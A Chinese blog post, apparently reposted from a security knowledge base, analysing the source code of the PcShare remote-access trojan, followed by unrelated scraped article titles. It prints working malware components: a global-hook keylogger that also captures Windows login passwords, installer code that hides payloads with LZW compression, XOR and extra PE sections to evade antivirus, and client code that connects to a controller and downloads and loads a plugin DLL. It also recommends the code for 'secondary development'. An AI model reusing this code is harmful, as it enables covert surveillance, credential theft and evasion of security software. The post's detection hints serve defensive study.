0x00背景


PcShare是一款功能强大的远程管理软件,可以在内网、外网任意位置随意管理需要的远程主机,该软件是由国内安全爱好者无可非议开发。在当时这款远控在大家应该比较熟悉了,VC编译器调出来的的小体积全功能木马。相比Delphi的灰鸽子真是碉堡了!

下面我们使用具有通用性的会员版本为例,进行源码分析。其他企业版本和2011版应该大同小异,有兴趣的可以自行研究。由于篇幅限制,我们主要关注一些关键代码流程,核心代码、及加密解密部分。

0x01 代码结构


作者开源的源码包大致目录结构:

C:\PCSHARE
├─2011年版
├─企业定做
│  ├─PcLKey
│  ├─PcMain
│  ├─PcMake
│  ├─PcShare
│  └─PcStart
├─会员版本
│  ├─PcLKey
│  ├─PcMain
│  ├─PcMake
│  ├─PcShare
│  └─PcStart
├─版本工具
│  ├─FileInsert
│  ├─InSertPsString
│  ├─NetServer
│  ├─PcFileComb
│  ├─PcSocksServer
│  ├─PsProxy
│  ├─SrcModifyTool
│  ├─StrEntry
│  └─UpPcShare
└─界面资源├─tool└─[XTreme.Toolkit.9.6.MFC].Xtreme.Toolkit.Pro.v9.60
复制代码

文件大致作用:

PcLKey键盘记录插件

PcStart可执行安装主程序

PcMake 连接型DLL小马

PcMain 主功能控制插件

PcShare 主控程序带界面

我们先看下会员版本配置界面,然后在开始分析。你可以发现会员版本和早期拿到的版本不一样,有一个捆绑文件功能,而这个功能有一个亮点“压缩编码”。想知道?继续看

PcLKey键盘记录插件 编译文件名:PcLkey.dll 这款键盘记录插件的特色就是可以记录中文英文等,而且可以尝试记录系统登录密码。服务启动SYSTEM权限的,登陆系统密码记录应该是支持XP/2003的,具体大家测测看。

以下是启动监控中文和英文及登录窗口输入记录,处理流程代码。 离线键盘记录数据文件以*.dll.txt存储,和dll一个目录。

#!c++//数据文件名称*pEnd = 0x00;lstrcat(m_ModuleFileName, ".txt");strcpy(m_KeyFilePath, m_ModuleFileName);HDESK hOldDesktop = GetThreadDesktop(GetCurrentThreadId());//监控中文和英文HDESK hNewDesktop = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED);if(hNewDesktop != NULL){SetThreadDesktop(hNewDesktop);}if(NULL == g_hKeyHK_CN){g_hKeyHK_CN = SetWindowsHookExW(WH_CALLWNDPROC, HOOK_WM_IME_COMPOSITION_Proc, ghInstance, 0);}if(NULL == g_hKeyHK_EN){g_hKeyHK_EN = SetWindowsHookExW(WH_GETMESSAGE, HOOK_WM_CHAR_Proc, ghInstance, 0);}GetModuleFileName(NULL, m_ModuleFileName, 255);CharLower(m_ModuleFileName);if(strstr(m_ModuleFileName, "svchost.exe") != NULL){//监控登录窗口hNewDesktop = OpenDesktop("Winlogon", 0, FALSE, MAXIMUM_ALLOWED);if(hNewDesktop != NULL){SetThreadDesktop(hNewDesktop);}if(NULL == g_hKeyHK_LG){g_hKeyHK_LG = SetWindowsHookExW(WH_GETMESSAGE, HOOK_WM_CHAR_LOGIN_Proc, ghInstance, 0);}SetThreadDesktop(hOldDesktop);}
复制代码

英文记录核心代码:WH_GETMESSAGE全局钩子,大家的代码应该都差不多,这里主要是处理回车符和删除符。

#!c++
LRESULT CALLBACK HOOK_WM_CHAR_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{if (nCode >= 0 ){PMSG pMsg = (PMSG) lParam;if(pMsg->message == WM_CHAR && wParam == PM_REMOVE && GetTickCount() - nCnKeyTimeOut > 5){nEnKeyTimeOut = GetTickCount();switch(pMsg->wParam){case VK_BACK:InsertBuffer(L"[<=]", KEY_INSERT_NORMAL);break;case VK_RETURN:InsertBuffer(L"\r\n", KEY_INSERT_NORMAL);break;default :{WCHAR m_Text[3] = {0};memcpy(m_Text, &pMsg->wParam, sizeof(WPARAM));InsertBuffer(m_Text, KEY_INSERT_NORMAL);}break;}}}return CallNextHookEx(g_hKeyHK_EN, nCode, wParam, lParam);
}
复制代码

中文记录核心代码:主要用到WH_CALLWNDPROC全局钩子处理WM_IME_COMPOSITION消息,通过ImmGetCompositionStringW函数获取字符。

#!c++
LRESULT CALLBACK HOOK_WM_IME_COMPOSITION_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{CWPSTRUCT* pMsg = (CWPSTRUCT*) lParam;if(m_IsLogin){//已经登录m_IsLogin = FALSE;//需要保存登录密码InsertBuffer(L"\r", KEY_INSERT_LOGIN_END);WCHAR m_UserName[256] = L"当前用户:";DWORD len = 256 - lstrlenW(m_UserName) - 1;GetUserNameW(m_UserName + lstrlenW(m_UserName), &len);lstrcatW(m_UserName, L" 用户密码:");InsertBuffer(m_UserName, KEY_INSERT_LOGIN_END);InsertBuffer(L"\n", KEY_INSERT_LOGIN_END);}if(nCode == HC_ACTION){switch (pMsg->message){case WM_IME_COMPOSITION:{if(GetTickCount() - nEnKeyTimeOut > 5){nCnKeyTimeOut = GetTickCount();HWND hWnd = GetForegroundWindow();HIMC hIMC = ImmGetContext(hWnd);memset(g_srcBuf, 0, 256 * sizeof(WCHAR));DWORD dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);ImmGetCompositionStringW(hIMC, GCS_RESULTSTR, g_srcBuf, dwSize);if(StrCmpW(g_srcBuf, g_destBuf) != 0){InsertBuffer(g_srcBuf, KEY_INSERT_NORMAL);lstrcpyW(g_destBuf, g_srcBuf);}if(hIMC){ImmReleaseContext(hWnd, hIMC);}}}break;}}return(CallNextHookEx(g_hKeyHK_CN, nCode, wParam, lParam));
}
复制代码

系统登录记录核心代码:这个和英文记录查不多主要涉及就是用户桌面切换,这里不需要处理回车因为按回车就等于点确定登陆了。

#!c++
LRESULT CALLBACK HOOK_WM_CHAR_LOGIN_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{//进入登录窗口if(nCode >= 0 ){PMSG pMsg = (PMSG) lParam;if(pMsg->message == WM_CHAR){m_IsLogin = TRUE;switch(pMsg->wParam){case VK_BACK:InsertBuffer(L"[<=]", KEY_INSERT_LOGIN);break;default :{WCHAR m_Text[3] = {0};memcpy(m_Text, &pMsg->wParam, sizeof(WPARAM));InsertBuffer(m_Text, KEY_INSERT_LOGIN);}break;}}}return CallNextHookEx(g_hKeyHK_EN, nCode, wParam, lParam);
}
复制代码

PcStart可执行安装主程序 编译文件名:PcInit.exe

这个程序主要作用就是从EXE中释放DLL和SYS文件等,安装服务并调用执行主要功能DLL木马上线。早期这款远控特色就是有驱动,可以隐藏连接和注册表等。可惜这种泛滥Rootkit代码维持没多久就被杀毒列入监控范围,然后就没有然后了。

用户配置生成数据结构体,和配置器的需要定义的内容差不多。

#!c++
// 该结构仅在生成肉鸡文件时使用,不用来通讯
// 该结构改成ANSI版的更好
typedef struct _PSDLLINFO_
{//定长UINT m_ServerPort;UINT m_DelayTime;UINT m_IsDel;UINT m_IsKeyMon;UINT m_PassWord;UINT m_DllFileLen;UINT m_SysFileLen;UINT m_ComFileLen;UINT m_CreateFlag;UINT m_DirAddr;//变长char m_ServerAddr[256];     // TCHAR to char [9/19/2007 zhaiyinwei]char m_DdnsUrl[256];char m_Title[64];char m_SysName[24];char m_ServiceName[24];     //服务名称char m_ServiceTitle[256];   //服务描述char m_ServiceView[32];     //服务显示名称char m_SoftVer[32];         //软件版本char m_Group[32];           //用户分组//客户端保存UINT m_IsSys;UINT m_ExtInfo;char m_ID[18];char m_ExeFilePath[256];
}PSDLLINFO, *LPPSDLLINFO;
复制代码

0x02 多功能的详解


下面看看作者的debug版本调试用的代码,更形象一些。主要数据就是上线地址、端口、安装服务名称、服务显示名称、服务描述、上线分组、备注、重连超时、软件版本、上线密码等等

下面这段代码可以看得出会员版本和普通版本区别,

1、使用的DLL不一样,会员版是完整版的DLL、普通版本是精简版的DLL。

2、主函数名的区别,会员版本是Vip20101125,免费版本是ServiceMain。

3、会员版本直接带完整控制插件DLL,免费版会先建立TCP连接传输控制插件(就是小马带大马减小体积),这个后续在提到。

PcStart还有三处值得注意的亮点:

1 DLL和SYS文件数据加密存储,捆绑合并文件使用LZW编码压缩。避免被杀毒软件轻易的识别出捆绑(内置)PE文件,对躲避查杀有一定效果。但是有些强悍的杀毒还是能通过虚拟机脱壳或算法识别解码后将其藏匿的文件进行查杀。攻防最头痛莫过于对手太强大,所以现在手段不高明基本没有生存空间了。

#!c++
FCLzw lzw;
//附加信息数据
BYTE* pZipInfoData = ((BYTE*) pSaveInfo) + sizeof(MYSAVEFILEINFO);
DWORD nSrcInfoDataLen = 0;
BYTE* pSrcInfoData = NULL;
lzw.PcUnZip(pZipInfoData, &pSrcInfoData, &nSrcInfoDataLen);
CopyMemory(pInfo, pSrcInfoData, nSrcInfoDataLen);
delete [] pSrcInfoData;if(IsFileComb)
{DWORD nSrcComDataLen = 0;BYTE* pZipComData = pZipInfoData + pSaveInfo->m_Size + pInfo->m_DllFileLen + pInfo->m_SysFileLen;BYTE* pComFileData = NULL;lzw.PcUnZip(pZipComData, &pComFileData, &nSrcComDataLen);delete [] pFileData;//修改原始文件while(1){if(WriteMyFile(pCmdLines, pComFileData, nSrcComDataLen)){break;}Sleep(50);}
复制代码

2 修改利用PE文件标志来识别文件类型,分析过程中我发现一处不错的思路。修改PE文件的标识“This program cannot be run in DOS mode.”中的“This”位置来标注这是一个什么类型文件,方便后期文件处理和执行。这是固定码可以将此处加入查杀特征库就可以识别了,快速扫描有点用,准确识别还是另外在找一处吧。

定义:

#!c++
#define PS_START_WIN7       11001       //win7启动
#define PS_START_UPDATE     11002       //更新客户端
#define PS_START_FILECOMB   11003       //文件捆绑
#define PS_START_FILECOPY   11004       //文件捆绑拷贝BYTE* GetCmdType()
{char m_FileName[256] = {0};GetModuleFileName(NULL, m_FileName, 255);HANDLE hFile = CreateFile(m_FileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if(hFile == INVALID_HANDLE_VALUE){return NULL;}DWORD nReadLen = 0;DWORD nFileLen = GetFileSize(hFile, NULL);CloseHandle(hFile);//修改标志//Thischar m_TempStr[256] = {0};m_TempStr[0] = 'T';m_TempStr[1] = 'h';m_TempStr[2] = 'i';m_TempStr[3] = 's';m_TempStr[4] = 0x00;//修改EXE数据标志BYTE* pData = (BYTE*) GetModuleHandle(NULL);BYTE* pCmd = NULL;for(DWORD i = 0; i < nFileLen; i++){if(memcmp(&pData[i], m_TempStr, 4) == 0){pCmd = (BYTE*) &pData[i + 4];break;}}return pCmd;
}
复制代码

验证:

3 运行成功后加密配置数据修改DLL 文件,生成一段随机作为Key。数据和Key异或加密存储,放在PE空区段里面。Pcshare多次利用空区段存放数据,用的时候在找标记“PS_VER_ULONGLONG”找大小在读取出来,避免“资源文件存文件”、“附加数据存文件”等传统捆绑打包和携带配置文件的方式,被杀毒启发式扫描检测出来。

#!c++
//取随机数据srand((unsigned) time(NULL));for(i = 0; i < nInfoDataLen; i++){pKeyData[i] = rand();}//加密数据for(i = 0; i < nInfoDataLen; i++){pTmpData[i] = pTmpData[i] ^ pKeyData[i];}AddDataToPe(pSaveData, nInfoDataLen * 2 + nStrSize, pDllFileData, nSrcDllDataLen, m_DllFilePath);
复制代码

AddDataToPe代码片段:

#!c++// 新节的RVApNewSec->VirtualAddress = pPE_Header->OptionalHeader.SizeOfImage;//SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值pNewSec->SizeOfRawData = DataLen;pNewSec->SizeOfRawData /= pPE_Header->OptionalHeader.FileAlignment;pNewSec->SizeOfRawData++;pNewSec->SizeOfRawData *= pPE_Header->OptionalHeader.FileAlignment;// 设置新节的 PointerToRawDatapNewSec->PointerToRawData = nPeLen;// 设置新节的属性pNewSec->Characteristics = 0x40000040;      //可读,,已初始化// 增加NumberOfSectionspPE_Header->FileHeader.NumberOfSections++;// 增加SizeOfImagepPE_Header->OptionalHeader.SizeOfImage += (pNewSec->Misc.VirtualSize/pPE_Header->OptionalHeader.SectionAlignment + 1) * pPE_Header->OptionalHeader.SectionAlignment;// 保存到文件HANDLE hFile = CreateFile(pPeFile,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL );
复制代码

PcMake 连接型DLL小马 编译文件名:PcMake.dll

通过源码分析Pcshare共有3个插件1、控制插件(即:PcMain.dll) 2、键盘记录插件(PcLkey.dll) 3、Sock5代理插件 后两个插件是会员版本专享。

PcMake这个插件初始化连接是使用TCP连接到控制端,然后下载控制插件。会员版本采用直接捆绑打包PcMain.dll控制插件方式,所以体积上会大一些。

这个小马插件特色不多,下面我主要分析的解密配置信息部分代码和上线代码。

定义:

#!c++
#define PS_VER_ULONGLONG        0x1234567812345678BOOL MyMainFunc::GetFileSaveInfo(LPVOID pInfoData, DWORD nInfoLen, HINSTANCE hInst)
{//文件数据DWORD nReadLen = 0;char m_DllName[MAX_PATH] = {0};GetModuleFileName(hInst, m_DllName, 200);HANDLE hFile = CreateFile(m_DllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if(hFile == INVALID_HANDLE_VALUE){return FALSE;}DWORD nFileLen = GetFileSize(hFile, NULL);BYTE* pFileData = new BYTE[nFileLen];ReadFile(hFile, pFileData, nFileLen, &nReadLen, NULL);CloseHandle(hFile);//查找存储文件标志BYTE* pSaveInfo = NULL;for(DWORD i = nFileLen - sizeof(ULONGLONG); i > sizeof(ULONGLONG); i--){if(*(ULONGLONG*) &pFileData[i] == PS_VER_ULONGLONG){pSaveInfo = &pFileData[i] + sizeof(ULONGLONG);break;}}if(pSaveInfo == NULL){delete [] pFileData;return FALSE;}BYTE* pKeyData = pSaveInfo + sizeof(PSDLLINFO);CopyMemory(pInfoData, pSaveInfo, sizeof(PSDLLINFO));BYTE* pSrcData = (BYTE*) pInfoData;//还原数据for(i = 0; i < sizeof(PSDLLINFO); i++){pSrcData[i] = pSrcData[i] ^ pKeyData[i];}delete [] pFileData;return TRUE;
}
复制代码

运行后,查找存储配置的标志“0x1234567812345678”(PcStart成功执行后写入的配置信息),找到后将密钥和配置读取出来,循环所有配置加密数据和密钥进行异或Xor解密。

验证方法:16进制编辑工具搜索16进制“7856341278563412”

Ollydbg调试印证:

#!c++
#define PS_ENTRY_COMM_KEY       0xf7                //简单异或
#define PS_USER_ID          0x3030303030303030          //VIP版本BOOL CMyClientTran::Create(DWORD nCmd, char* m_ServerAddr, UINT m_ServerPort, char* pUrl, UINT nPassWord)
{Close();StrCpy(m_Addr, m_ServerAddr);m_Port = m_ServerPort;//查看是否有ddnsif(lstrlen(pUrl) != 0){GetRealServerInfo(pUrl, m_Addr, &m_Port);}//连接到服务器m_Socket = GetConnectSocket(m_Addr, m_Port);if(m_Socket == NULL){return FALSE;}//协商初始数据LOGININFO m_LoginInfo = {0};m_LoginInfo.m_Cmd = nCmd;m_LoginInfo.m_hWnd = (HWND) nPassWord;m_LoginInfo.m_UserId = PS_USER_ID;EncryptByte(&m_LoginInfo, sizeof(LOGININFO));return SendData(&m_LoginInfo, sizeof(LOGININFO));
}void CMyClientTran::EncryptByte(LPVOID pData, DWORD nLen)
{BYTE* pTmpData = (BYTE*) pData;for(DWORD i = 0; i < nLen; i++){pTmpData[i] = pTmpData[i] ^ PS_ENTRY_COMM_KEY;  }
}
复制代码

连接控制端成功后发送软件版本和上线密码(传输的数据使用异或F7加密,有点弱爆的感觉。),然后从主控端下载控制插件。

#!c++
void CMyWorkMoudle::MakeModFileMd5(LPCTSTR pFileName, BYTE* sMd5Str)
{HANDLE hFile = CreateFile(pFileName, GENERIC_READ, FILE_SHARE_READ,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if(hFile == INVALID_HANDLE_VALUE){return;}DWORD nReadLen = 0;DWORD nFileLen = GetFileSize(hFile, NULL);BYTE* pFileData = new BYTE[nFileLen];ReadFile(hFile, pFileData, nFileLen, &nReadLen, NULL);CloseHandle(hFile);//校验本地文件MD5_CTX context = {0};MD5Init (&context);MD5Update (&context, pFileData, nFileLen);MD5Final (&context);//保存校验码CopyMemory(sMd5Str, &context, 16);delete [] pFileData;
}   HMODULE CMyWorkMoudle::GetModFile(char* pFilePath, UINT nCmd)
{//MD5校验BYTE m_DllFileMd5[24] = {0};MakeModFileMd5(m_ModFilePath, m_DllFileMd5);//连接服务器,上送本地文件校验码CMyClientTran m_Tran;if(!m_Tran.Create(nCmd, m_DllInfo.m_ServerAddr, m_DllInfo.m_ServerPort, m_DllInfo.m_DdnsUrl, m_DllInfo.m_PassWord) || !m_Tran.SendData(m_DllFileMd5, 16)){return NULL;}//接收文件长度DWORD nFileLen = 0;if(!m_Tran.RecvData(&nFileLen, sizeof(DWORD))){return NULL;}//查看是否需要接收文件if(nFileLen == 0){return LoadLibrary(pFilePath);}//接收文件BYTE* pFileData = new BYTE[nFileLen + 65535];ZeroMemory(pFileData, nFileLen + 65535);if(!m_Tran.RecvData(pFileData, nFileLen)){delete [] pFileData;return NULL;}//解压文件FCLzw lzw;if(!lzw.PcSaveData(pFileData, pFilePath)){delete [] pFileData;return NULL;}delete [] pFileData;//装载DLL文件return LoadLibrary(pFilePath);
}
复制代码

校验插件文件完整性使用MD5算法,判断是否与控制端最新版本相符。相同则不在传输,貌似MD5算法目前不是太安全了吧。

0x03 文章小结


Pcshare这款远控的代码规范方面还是比较工整的,代码缩进而且还有大量注释。非常适合初学入门和二次开发。据说早期有HTTP协议的版本但是现在代码丢失了,可惜了这款2010款是TCP版本对企业防火墙穿墙能力有限。比较有特色的思路:1、LZW编码压缩 2、改PE的DOS头“This”给文件做标记 3、利用空区段存放数据,看得出作者对安装用的EXE处理上花了不少功夫。

PcMain 主功能控制插件、PcShare 主控程序带界面将在第2篇中在分析,预知后事如何,请听下回分解。

作者:乌云知识库
链接:https://juejin.cn/post/6844903571947782157
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

Pcshare远控源码偏重分析(一)相关推荐

  1. 基于C++6.0的Gh0st远控源码研究及在VS2019下的编译修正和测试

    最近闲着无聊,研究了一下Gh0st的源码,这个源码现在也很难白嫖到了,花了200多积分从CSDN下了好几个版本.在VC2019下都编译不了.看来只能自己修改了: 经过一天一夜的折腾(昨晚通宵到早上6点 ...

  2. c语言远控源码,远控鼠标!C语言简单小程序:舍友要砸电脑了,送源码!

    关注<一碳科技>有更多干货等着你哦! 远控鼠标 远控鼠标,顾名思义就是远程控制鼠标,听起来就有些复杂对不对?是的,有些人一听到这个词,就会感觉要实现远控鼠标是一件很麻烦的事情,但其实不是的 ...

  3. 控制指令高达二十多种:远控木马Dendoroid.B分析报告( 转)

    控制指令高达二十多种:远控木马Dendoroid.B分析报告 IT社区推荐资讯 - ITIndex.net Apr 24 近期,360团队截获了一款功能强大的专业间谍软件,它可以通过PC端远程控制中招 ...

  4. android view 源码分析,Android ViewPager源码详细分析

    1.问题 由于Android Framework源码很庞大,所以读源码必须带着问题来读!没有问题,创造问题再来读!否则很容易迷失在无数的方法与属性之中,最后无功而返. 那么,关于ViewPager有什 ...

  5. Toast源码深度分析

    目录介绍 1.最简单的创建方法 1.1 Toast构造方法 1.2 最简单的创建 1.3 简单改造避免重复创建 1.4 为何会出现内存泄漏 1.5 吐司是系统级别的 2.源码分析 2.1 Toast( ...

  6. ❤️缓存集合(一级缓存、二级缓存、缓存原理以及自定义缓存—源码+图文分析,建议收藏) ❤️

    ❤️缓存集合(一级缓存.二级缓存.缓存原理以及自定义缓存-源码+图文分析,建议收藏) ❤️ 查询 : 连接数据库 ,耗资源!一次查询的结果,给他暂存在一个可以直接取到的地方!--> 内存 : 缓 ...

  7. poco源码简单分析

    自动化工具poco源码简单分析 Airtest简介 Airtest是网易游戏开源的一款UI自动化测试项目,目前处于公开测试阶段,该项目分为AirtestIDE.Airtest.Poco.Testlab ...

  8. HashMap 底层源码细致分析

    JDK集合HashMap 底层源码细致分析 前言 提示:对于初始 HashMap 的小伙伴来说,不推荐直接硬啃,建议先看一下如下几个视频教程之后再回头好好理解.(一遍看不懂则反复看,一小块一小块的找对 ...

  9. Mybatis底层原理学习(二):从源码角度分析一次查询操作过程

    在阅读这篇文章之前,建议先阅读一下我之前写的两篇文章,对理解这篇文章很有帮助,特别是Mybatis新手: 写给mybatis小白的入门指南 mybatis底层原理学习(一):SqlSessionFac ...

  10. 跟我学Kafka源码Producer分析

    2019独角兽企业重金招聘Python工程师标准>>> 跟我学Kafka源码Producer分析 博客分类: MQ 本章主要讲解分析Kafka的Producer的业务逻辑,分发逻辑和 ...

最新文章

  1. mysql+8.0+新特性_MySQL 8.0的一些新特性汇总大全
  2. python数据拟合固定参数_如何将数据拟合到非理想二极管方程(隐式非线性函数)并检索参数 - python...
  3. 计算机软件乘除,基于单片机的智能计算机程序 可以实现加减乘除运算
  4. datatable的数据进行组内排序_Spark实现分组Top-k排序的四种方案(scala语言)
  5. Struts2——知识点:Action Implements SessionAware
  6. 输入一个矩阵,按照从外向里以顺时针的顺序依次打印出每一个数字,例如,如果输入如下4 X 4矩阵: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 则依次打印出数字1,2,
  7. htc思想[second]
  8. linux内核循环,循环缓冲区(参考linux内核Kfifo)
  9. Zookeeper-watcher机制源码分析(一)
  10. 电容上电后是短路还是开路?
  11. 2022-2028全球超声波封管机行业调研及趋势分析报告
  12. ref,reactive toRaw
  13. CSS一级导航-天蓝色(带阴影)
  14. 用jQuery实现qq音乐播放器
  15. 我的世界服务器清道夫不显示,我的世界清道夫指令 | 手游网游页游攻略大全
  16. DisplayPort 端口
  17. 富士康c语言试卷答案,富士康笔试真题分享
  18. java gif 帧_修复Java中动画gif的帧频
  19. 初识现代资产配置(MPT)理论
  20. java行业2011寄语

热门文章

  1. Ruby语言入门之Hello world
  2. Sentaurus SDE
  3. 06-输出100以内的素数
  4. 洛谷试炼场一句话题解
  5. (附源码)springboot菠萝大学课室预约分析与设计 毕业设计641656
  6. Jspx.net Framework 6.38发布
  7. 刘毅5000词汇_不熟词汇整理_lesson_2 and part_4
  8. 使用kconfig生成autoconf.h
  9. 线性代数 n维向量思维导图总结(看这一张就完事了)
  10. Intellij IDEA之Mybatis插件:Free Mybatis Plugin